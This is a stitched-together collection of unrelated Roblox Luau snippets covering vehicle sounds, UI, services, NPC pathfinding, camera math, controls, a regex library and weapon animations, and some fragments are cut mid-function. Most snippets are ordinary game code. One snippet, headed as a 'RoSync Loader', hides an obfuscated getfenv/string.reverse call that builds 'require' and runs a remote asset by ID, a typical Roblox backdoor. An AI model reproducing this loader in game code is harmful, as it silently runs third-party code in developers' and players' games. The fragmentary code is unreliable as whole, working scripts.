local _Tune = require(car["A-Chassis Tune"])
local on = 0
script:WaitForChild("Idle")
if not FE then
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.DriveSeat
end
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.DriveSeat.Idle.Pitch = (car.DriveSeat.Idle.SetPitch.Value - car.DriveSeat.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
end
else
local handler = car.AC6_FE_Sounds
handler:FireServer("newSound","Idle",car.DriveSeat,script.Idle.SoundId,0,true)
handler:FireServer("playSound","Idle")
local pitch=0
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
pitch = (script.Idle.SetPitch.Value - script.Idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
handler:FireServer("updateSound","Idle",script.Idle.SoundId,pitch,script.Idle.Volume)
end
end
|
--- Add a line to the command bar
|
function Window:AddLine(text, color)
if #text == 0 then
Window:UpdateWindowHeight()
return
end
local line = Line:Clone()
line.Text = self.Cmdr.Util.EmulateTabstops(text or "nil", 8)
line.TextColor3 = color or line.TextColor3
line.Parent = Gui
end
|
-- Set the callback; this can only be done once by one script on the server!
|
MarketplaceService.ProcessReceipt = processReceipt
return module
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
local NumOfSupers = #require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation):GetObtainedSupers(player)
return NumOfSupers < 2 and ClassInformationTable:GetClassFolder(player,"Warlock").Obtained.Value ~= true
end
|
--[=[
@return SIGNAL_MARKER
Returns a marker that will transform the current key into
a RemoteSignal once the service is created. Should only
be called within the Client table of a service.
See [RemoteSignal](https://sleitnick.github.io/RbxUtil/api/RemoteSignal)
documentation for more info.
```lua
local MyService = Knit.CreateService {
Name = "MyService",
Client = {
-- Create the signal marker, which will turn into a
-- RemoteSignal when Knit.Start() is called:
MySignal = Knit.CreateSignal(),
},
}
function MyService:KnitInit()
-- Connect to the signal:
self.Client.MySignal:Connect(function(player, ...) end)
end
```
]=]
|
function KnitServer.CreateSignal()
return SIGNAL_MARKER
end
|
-- Libraries
|
local Libraries = Tool:WaitForChild 'Libraries'
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local Signal = require(Libraries:WaitForChild 'Signal')
local Maid = require(Libraries:WaitForChild 'Maid')
local Make = require(Libraries:WaitForChild 'Make')
local InstancePool = require(Libraries:WaitForChild 'InstancePool')
|
--Animation
|
local leftSlash = script.Parent:WaitForChild("LeftSlash")
local leftSlashAnimation = myHuman:LoadAnimation(leftSlash)
leftSlashAnimation.Priority = Enum.AnimationPriority.Action
local rightSlash = script.Parent:WaitForChild("RightSlash")
local rightSlashAnimation = myHuman:LoadAnimation(rightSlash)
rightSlashAnimation.Priority = Enum.AnimationPriority.Action
function getUnstuck()
myHuman:Move(Vector3.new(math.random(-1,1),0,math.random(-1,1)))
wait(0.3)
end
function wander()
local goal = Vector3.new(myRoot.Position.X+math.random(-120,120),myRoot.Position.Y,myRoot.Position.Z+math.random(-120,120))
local path = game:GetService("PathfindingService"):CreatePath()
path:ComputeAsync(myRoot.Position, goal)
if path.Status == Enum.PathStatus.Success then
pathFailCount = 0
local waypoints = path:GetWaypoints()
for i,v in ipairs(waypoints) do
if v.Action == Enum.PathWaypointAction.Jump then
myHuman.Jump = true
end
myHuman:MoveTo(v.Position)
if i % 5 == 0 then
if findTarget() then
break
end
end
local moveSuccess = myHuman.MoveToFinished:Wait()
if not moveSuccess then
break
end
end
else
pathFailCount = pathFailCount + 1
if pathFailCount > 10 then
pathFailCount = 0
getUnstuck()
end
end
end
function findTarget()
local dist = 200
local target = nil
for i,v in ipairs(workspace:GetChildren()) do
local human = v:FindFirstChild("Humanoid")
local torso = v:FindFirstChild("Torso") or v:FindFirstChild("HumanoidRootPart")
if human and torso and v.Name ~= script.Parent.Name then
if (myRoot.Position - torso.Position).Magnitude < dist and human.Health > 0 then
target = torso
dist = (myRoot.Position - torso.Position).Magnitude
end
end
end
return target
end
function checkSight(target)
local ray = Ray.new(myRoot.Position, (target.Position - myRoot.Position).Unit * 200)
local hit,position = workspace:FindPartOnRayWithIgnoreList(ray, {script.Parent})
if hit then
if hit:IsDescendantOf(target.Parent) then
return true
end
end
return false
end
function checkHeight(target)
if math.abs(myRoot.Position.Y - target.Position.Y) < 5 then
return true
end
return false
end
function checkDirect(target)
if checkSight(target) and checkHeight(target) and (myRoot.Position - target.Position).Magnitude < 30 then
return true
end
return false
end
function attack(target)
if attackCool == true then
attackCool = false
myHuman:MoveTo(target.Position)
myRoot.Swing:Play()
local attackAnim = math.random(1,2)
if attackAnim == 1 then
leftSlashAnimation:Play()
else
rightSlashAnimation:Play()
end
local human = target.Parent.Humanoid
human:TakeDamage(math.random(100,300))
myRoot.Hit:Play()
if human.Health < 1 then
wait(0.3)
end
spawn(function() wait(1) attackCool = true end)
end
end
function pathToTarget(target)
local path = game:GetService("PathfindingService"):CreatePath()
path:ComputeAsync(myRoot.Position,target.Position)
if path.Status == Enum.PathStatus.Success then
pathFailCount = 0
local waypoints = path:GetWaypoints()
for i,v in ipairs(waypoints) do
if v.Action == Enum.PathWaypointAction.Jump then
myHuman.Jump = true
end
spawn(function()
wait(0.5)
if myRoot.Position.Y < myHuman.WalkToPoint.Y and chasing == false then
myHuman.Jump = true
end
end)
myHuman:MoveTo(v.Position)
local moveSuccess = myHuman.MoveToFinished:Wait()
if not moveSuccess then
break
end
if i % 5 == 0 then
if checkDirect(target) then
break
end
if target ~= findTarget() then
break
end
end
if (waypoints[#waypoints].Position - target.Position).Magnitude > 30 then
break
end
end
else
pathFailCount = pathFailCount + 1
if pathFailCount > 10 then
pathFailCount = 0
getUnstuck()
end
end
end
function chase(target)
chasing = true
myHuman:MoveTo(target.Position)
end
function main()
chasing = false
local target = findTarget()
if target then
local targetDistance = (myRoot.Position - target.Position).Magnitude
if checkDirect(target) then
if targetDistance > 3 then
chase(target)
end
if targetDistance < 10 then
attack(target)
end
elseif checkSight(target) and math.abs(myRoot.Position.X - target.Position.X) < 1 and
math.abs(myRoot.Position.Z - target.Position.Z) < 1 then
getUnstuck()
else
pathToTarget(target)
end
else
wander()
end
end
while wait(0.1) do
if myHuman.Health < 1 then
break
end
main()
end
|
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Song.Text = "PRESET 4"
-- carSeat.Parent.Body.Dash.Screen.G.Radio.Title.Text = ""
|
elseif carSeat.Stations.mood.Value == 4 then
carSeat.Parent.Body.MP.Sound:Stop()
carSeat.Stations.mood.Value = 1
|
--[[ Last synced 9/4/2021 09:32 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Ritter's loose bounding sphere algorithm
|
function CameraUtils.getLooseBoundingSphere(parts: {BasePart})
local points = table.create(#parts)
for idx, part in pairs(parts) do
points[idx] = part.Position
end
-- pick an arbitrary starting point
local x = points[1]
-- get y, the point furthest from x
local y = x
local yDist = 0
for _, p in ipairs(points) do
local pDist = (p - x).Magnitude
if pDist > yDist then
y = p
yDist = pDist
end
end
-- get z, the point furthest from y
local z = y
local zDist = 0
for _, p in ipairs(points) do
local pDist = (p - y).Magnitude
if pDist > zDist then
z = p
zDist = pDist
end
end
-- use (y, z) as the initial bounding sphere
local sc = (y + z)*0.5
local sr = (y - z).Magnitude*0.5
-- expand sphere to fit any outlying points
for _, p in ipairs(points) do
local pDist = (p - sc).Magnitude
if pDist > sr then
-- shift to midpoint
sc = sc + (pDist - sr)*0.5*(p - sc).Unit
-- expand
sr = (pDist + sr)*0.5
end
end
return sc, sr
end
|
-- Keyboard controller is really keyboard and mouse controller
|
local computerInputTypeToModuleMap = {
[Enum.UserInputType.Keyboard] = Keyboard,
[Enum.UserInputType.MouseButton1] = Keyboard,
[Enum.UserInputType.MouseButton2] = Keyboard,
[Enum.UserInputType.MouseButton3] = Keyboard,
[Enum.UserInputType.MouseWheel] = Keyboard,
[Enum.UserInputType.MouseMovement] = Keyboard,
[Enum.UserInputType.Gamepad1] = Gamepad,
[Enum.UserInputType.Gamepad2] = Gamepad,
[Enum.UserInputType.Gamepad3] = Gamepad,
[Enum.UserInputType.Gamepad4] = Gamepad,
}
function ControlModule.new()
local self = setmetatable({},ControlModule)
-- The Modules above are used to construct controller instances as-needed, and this
-- table is a map from Module to the instance created from it
self.controllers = {}
self.activeControlModule = nil -- Used to prevent unnecessarily expensive checks on each input event
self.activeController = nil
self.touchJumpController = nil
self.moveFunction = Players.LocalPlayer.Move
self.humanoid = nil
self.lastInputType = Enum.UserInputType.None
self.cameraRelative = true
-- For Roblox self.vehicleController
self.humanoidSeatedConn = nil
self.vehicleController = nil
self.touchControlFrame = nil
self.vehicleController = VehicleController.new(CONTROL_ACTION_PRIORITY)
Players.LocalPlayer.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end)
Players.LocalPlayer.CharacterRemoving:Connect(function(char) self:OnCharacterAdded(char) end)
if Players.LocalPlayer.Character then
self:OnCharacterAdded(Players.LocalPlayer.Character)
end
RunService:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(dt) self:OnRenderStepped(dt) end)
UserInputService.LastInputTypeChanged:Connect(function(newLastInputType) self:OnLastInputTypeChanged(newLastInputType) end)
local propertyChangeListeners = {
UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end),
Players.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnTouchMovementModeChange() end),
UserGameSettings:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end),
Players.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() self:OnComputerMovementModeChange() end),
}
--[[ Touch Device UI ]]--
self.playerGui = nil
self.touchGui = nil
self.playerGuiAddedConn = nil
if UserInputService.TouchEnabled then
self.playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
if self.playerGui then
self:CreateTouchGuiContainer()
self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
else
self.playerGuiAddedConn = Players.LocalPlayer.ChildAdded:Connect(function(child)
if child:IsA("PlayerGui") then
self.playerGui = child
self:CreateTouchGuiContainer()
self.playerGuiAddedConn:Disconnect()
self.playerGuiAddedConn = nil
self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
end
end)
end
else
self:OnLastInputTypeChanged(UserInputService:GetLastInputType())
end
return self
end
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
task.wait()
end
local LocalPlayer = Players.LocalPlayer
local ThumbpadFrame = nil
local TouchObject = nil
local OnInputEnded = nil -- is defined in Create()
local OnTouchChangedCn = nil
local OnTouchEndedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
|
--Functions
|
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(char)
--Varibles
local head = char.Head
local newtext = nametag:Clone() --Cloning the text.
local uppertext = newtext.UpperText
local lowertext = newtext.LowerText
local humanoid = char.Humanoid
humanoid.DisplayDistanceType = "None"
--Main Text
newtext.Parent = head
newtext.Adornee = head
uppertext.Text = player.Name
--"If" Statements
end)
end)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 5 -- cooldown for use of the tool again
BoneModelName = "Souls + Error + Insanity combo" -- name the zone model
HumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- << COMMANDS >>
|
local module = {
-----------------------------------
{
Name = "";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "";
Contributors = {};
--
Args = {};
Function = function(speaker, args)
end;
UnFunction = function(speaker, args)
end;
--
};
-----------------------------------
{
Name = "";
Aliases = {};
Prefixes = {settings.Prefix};
Rank = 1;
RankLock = false;
Loopable = false;
Tags = {};
Description = "";
Contributors = {};
--
Args = {};
ClientCommand = true;
--[[
FireAllClients = true;
BlockWhenPunished = true;
PreFunction = function(speaker, args)
end;
Function = function(speaker, args)
wait(10)
end;
--]]
--
};
-----------------------------------
};
return module
|
--Torque Converter and CVT:
|
Tune.RPMEngage = 3500 -- Keeps RPMs to this level until passed
|
--Create Tweens
|
F.ExtendTweenInfo = function(Time,Style,Direction,Repeat,Reverse,DelayTime,WA1,WA2)
local Tweeninfo = TweenInfo.new(Time, Style, Direction, Repeat, Reverse, DelayTime)
TS = TweenService:Create(Weld1, Tweeninfo, {C0 = Orig1 * CFrame.Angles(0,0,WA1)})
TS1 = TweenService:Create(Weld2, Tweeninfo, {C0 = Orig2 * CFrame.Angles(0,0,WA2)})
end
F.RetractTweenInfo = function(Time,Style,Direction,Repeat,Reverse,DelayTime)
local Tweeninfo1 = TweenInfo.new(Time, Style, Direction, Repeat, Reverse, DelayTime)
TS2 = TweenService:Create(Weld1, Tweeninfo1, {C0 = Orig1})
TS3 = TweenService:Create(Weld2, Tweeninfo1, {C0 = Orig2})
end
|
--[=[
Retrieves the service, ensuring initialization if we are in
the initialization phase.
@param serviceType ServiceType
@return any
]=]
|
function ServiceBag:GetService(serviceType)
if typeof(serviceType) == "Instance" then
serviceType = require(serviceType)
end
assert(type(serviceType) == "table", "Bad serviceType definition")
local service = self._services[serviceType]
if service then
self:_ensureInitialization(serviceType)
return self._services[serviceType]
else
if self._parentProvider then
return self._parentProvider:GetService(serviceType)
end
-- Try to add the service if we're still initializing services
self:_addServiceType(serviceType)
self:_ensureInitialization(serviceType)
return self._services[serviceType]
end
end
|
-- SOME OTHER VARIABLES --
|
local gui
local Animations
|
---[[ Message Settings ]]
|
module.MaximumMessageLength = 350
module.DisallowedWhiteSpace = {"\n", "\r", "\t", "\v", "\f"}
module.ClickOnPlayerNameToWhisper = true
module.ClickOnChannelNameToSetMainChannel = true
module.BubbleChatMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}
|
--Precalculated paths
|
local t,f,n=true,false,{}
local r={
[58]={{60,41,30,56,58},t},
[49]={{60,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{60,41,30,56,58,20,19},t},
[59]={{60,41,59},t},
[63]={{60,41,30,56,58,23,62,63},t},
[34]={{60,41,39,35,34},t},
[21]={{60,41,30,56,58,20,21},t},
[48]={{60,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{60,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{60,41,39,35,34,32,31},t},
[56]={{60,41,30,56},t},
[29]={{60,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{60,41,39,35,34,32,31,29,28,44,45},t},
[57]={{60,41,30,56,57},t},
[36]={{60,41,39,35,37,36},t},
[25]={{60,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{60,61,71},t},
[20]={{60,41,30,56,58,20},t},
[60]={{60},t},
[8]={n,f},
[4]={n,f},
[75]={{60,61,71,72,76,73,75},t},
[22]={{60,41,30,56,58,20,21,22},t},
[74]={{60,61,71,72,76,73,74},t},
[62]={{60,41,30,56,58,23,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{60,41,39,35,37},t},
[2]={n,f},
[35]={{60,41,39,35},t},
[53]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{60,61,71,72,76,73},t},
[72]={{60,61,71,72},t},
[33]={{60,41,39,35,37,36,33},t},
[69]={{60,69},t},
[65]={{60,41,30,56,58,20,19,66,64,65},t},
[26]={{60,41,39,35,34,32,31,29,28,27,26},t},
[68]={{60,41,30,56,58,20,19,66,64,67,68},t},
[76]={{60,61,71,72,76},t},
[50]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{60,41,30,56,58,20,19,66},t},
[10]={n,f},
[24]={{60,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{60,41,30,56,58,23},t},
[44]={{60,41,39,35,34,32,31,29,28,44},t},
[39]={{60,41,39},t},
[32]={{60,41,39,35,34,32},t},
[3]={n,f},
[30]={{60,41,30},t},
[51]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{60,41,30,56,58,20,19,66,64,67},t},
[61]={{60,61},t},
[55]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{60,41,39,40,38,42},t},
[40]={{60,41,39,40},t},
[52]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{60,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{60,41},t},
[17]={n,f},
[38]={{60,41,39,40,38},t},
[28]={{60,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{60,41,30,56,58,20,19,66,64},t},
}
return r
|
------------------------------------------------------------------------
|
local TOGGLE_INPUT_PRIORITY = Enum.ContextActionPriority.High.Value + 100
local INPUT_PRIORITY = Enum.ContextActionPriority.High.Value + 101
local FREECAM_MACRO_KB = {Enum.KeyCode.LeftShift, Enum.KeyCode.Z}
local NAV_GAIN = Vector3.new(1, 1, 1)*64
local PAN_GAIN = Vector2.new(0.75, 1)*8
local FOV_GAIN = 300
local PITCH_LIMIT = rad(90)
local VEL_STIFFNESS = 1.5
local PAN_STIFFNESS = 1.0
local FOV_STIFFNESS = 4.0
|
--[[
Creates a throttle function that drops any repeat calls within a cooldown period and instead returns the result of the last call
]]
|
function FunctionUtils.throttle(fn, secondsCooldown)
assert(FunctionUtils.isCallable(fn))
assert(type(secondsCooldown) == "number")
assert(secondsCooldown > 0)
local cached = false
local lastResult = nil
return function(...)
if not cached then
cached = true
lastResult = fn(...)
delay(
secondsCooldown,
function()
cached = false
end
)
end
return lastResult
end
end
function FunctionUtils.isCallable(thing)
return type(thing) == "function" or
(type(thing) == "table" and getmetatable(thing) and getmetatable(thing).__call ~= nil)
end
return FunctionUtils
|
--
|
local flag_map = {
a = 'anchored', i = 'caseless', m = 'multiline', s = 'dotall', u = 'unicode', U = 'ungreedy', x ='extended',
};
local posix_class_names = {
alnum = true, alpha = true, ascii = true, blank = true, cntrl = true, digit = true, graph = true, lower = true, print = true, punct = true, space = true, upper = true, word = true, xdigit = true,
};
local escape_chars = {
-- grouped
-- digit, spaces and words
[0x44] = { "class", "digit", true }, [0x53] = { "class", "space", true }, [0x57] = { "class", "word", true },
[0x64] = { "class", "digit", false }, [0x73] = { "class", "space", false }, [0x77] = { "class", "word", false },
-- horizontal/vertical whitespace and newline
[0x48] = { "class", "blank", true }, [0x56] = { "class", "vertical_tab", true },
[0x68] = { "class", "blank", false }, [0x76] = { "class", "vertical_tab", false },
[0x4E] = { 0x4E }, [0x52] = { 0x52 },
-- not grouped
[0x42] = 0x08,
[0x6E] = 0x0A, [0x72] = 0x0D, [0x74] = 0x09,
};
local b_escape_chars = {
-- word boundary and not word boundary
[0x62] = { 0x62, { "class", "word", false } }, [0x42] = { 0x42, { "class", "word", false } },
-- keep match out
[0x4B] = { 0x4B },
-- start & end of string
[0x47] = { 0x47 }, [0x4A] = { 0x4A }, [0x5A] = { 0x5A }, [0x7A] = { 0x7A },
};
local valid_categories = {
C = true, Cc = true, Cf = true, Cn = true, Co = true, Cs = true,
L = true, Ll = true, Lm = true, Lo = true, Lt = true, Lu = true,
M = true, Mc = true, Me = true, Mn = true,
N = true, Nd = true, Nl = true, No = true,
P = true, Pc = true, Pd = true, Pe = true, Pf = true, Pi = true, Po = true, Ps = true,
S = true, Sc = true, Sk = true, Sm = true, So = true,
Z = true, Zl = true, Zp = true, Zs = true,
Xan = true, Xps = true, Xsp = true, Xuc = true, Xwd = true,
};
local class_ascii_punct = {
[0x21] = true, [0x22] = true, [0x23] = true, [0x24] = true, [0x25] = true, [0x26] = true, [0x27] = true, [0x28] = true, [0x29] = true, [0x2A] = true, [0x2B] = true, [0x2C] = true, [0x2D] = true, [0x2E] = true, [0x2F] = true,
[0x3A] = true, [0x3B] = true, [0x3C] = true, [0x3D] = true, [0x3E] = true, [0x3F] = true, [0x40] = true, [0x5B] = true, [0x5C] = true, [0x5D] = true, [0x5E] = true, [0x5F] = true, [0x60] = true, [0x7B] = true, [0x7C] = true,
[0x7D] = true, [0x7E] = true,
};
local end_str = { 0x24 };
local dot = { 0x2E };
local beginning_str = { 0x5E };
local alternation = { 0x7C };
local function check_re(re_type, name, func)
if re_type == "Match" then
return function(...)
local arg_n = select('#', ...);
if arg_n < 1 then
error("missing argument #1 (Match expected)", 2);
end;
local arg0, arg1 = ...;
if not (proxy[arg0] and proxy[arg0].name == "Match") then
error(string.format("invalid argument #1 to %q (Match expected, got %s)", name, typeof(arg0)), 2);
else
arg0 = proxy[arg0];
end;
if name == "group" or name == "span" then
if arg1 == nil then
arg1 = 0;
end;
end;
return func(arg0, arg1);
end;
end;
return function(...)
local arg_n = select('#', ...);
if arg_n < 1 then
error("missing argument #1 (RegEx expected)", 2);
elseif arg_n < 2 then
error("missing argument #2 (string expected)", 2);
end;
local arg0, arg1, arg2, arg3, arg4, arg5 = ...;
if not (proxy[arg0] and proxy[arg0].name == "RegEx") then
if type(arg0) ~= "string" and type(arg0) ~= "number" then
error(string.format("invalid argument #1 to %q (RegEx expected, got %s)", name, typeof(arg0)), 2);
end;
arg0 = re.fromstring(arg0);
elseif name == "sub" then
if type(arg2) == "number" then
arg2 ..= '';
elseif type(arg2) ~= "string" then
error(string.format("invalid argument #3 to 'sub' (string expected, got %s)", typeof(arg2)), 2);
end;
elseif type(arg1) == "number" then
arg1 ..= '';
elseif type(arg1) ~= "string" then
error(string.format("invalid argument #2 to %q (string expected, got %s)", name, typeof(arg1)), 2);
end;
if name ~= "sub" and name ~= "split" then
local init_type = typeof(arg2);
if init_type ~= 'nil' then
arg2 = tonumber(arg2);
if not arg2 then
error(string.format("invalid argument #3 to %q (number expected, got %s)", name, init_type), 2);
elseif arg2 < 0 then
arg2 = #arg1 + math.floor(arg2 + 0.5) + 1;
else
arg2 = math.max(math.floor(arg2 + 0.5), 1);
end;
end;
end;
arg0 = proxy[arg0];
if name == "match" or name == "matchiter" then
arg3 = ...;
elseif name == "sub" then
arg5 = ...;
end;
return func(arg0, arg1, arg2, arg3, arg4, arg5);
end;
end;
|
--CHANGE THIS LINE-- (Main)
|
Signal = script.Parent.Parent.Parent.ControlBox.SignalValues.Signal1a -- Change last word
|
--//Client Animations
|
IdleAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms)
end;
StanceDown = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
StanceUp = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.65,-0.75,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play()
wait(0.3)
end;
Patrol = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play()
wait(0.3)
end;
SprintAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.3)
end;
EquipAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play()
wait(0.1)
objs[5].Handle:WaitForChild("AimUp"):Play()
ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.5)
end;
ChamberAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.2),{C1 = require(script.Parent.Settings).RightPos}):Play()
ts:Create(objs[3],TweenInfo.new(0.2),{C1 = require(script.Parent.Settings).LeftPos}):Play()
wait(0.2)
objs[5].Bolt:WaitForChild("SlidePull"):Play()
ts:Create(objs[3],TweenInfo.new(0.2),{C1 = CFrame.new(.75,0.25,-2.1) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.2),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.2),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.2)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[3],TweenInfo.new(0.15),{C1 = require(script.Parent.Settings).LeftPos}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.15),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.15),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
ChamberBKAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, -0.465, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.1,-0.15,-1.115) * CFrame.Angles(math.rad(-110),math.rad(25),math.rad(0))}):Play()
wait(0.3)
objs[5].Bolt:WaitForChild("SlideRelease"):Play()
ts:Create(objs[3],TweenInfo.new(0.15),{C1 = CFrame.new(0.1,-0.15,-1.025) * CFrame.Angles(math.rad(-100),math.rad(30),math.rad(0))}):Play()
ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play()
wait(0.15)
end;
CheckAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(.35)
local MagC = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.15,0.475,-1.5) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(0))}):Play()
wait(1.5)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.45,0.475,-2.05) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
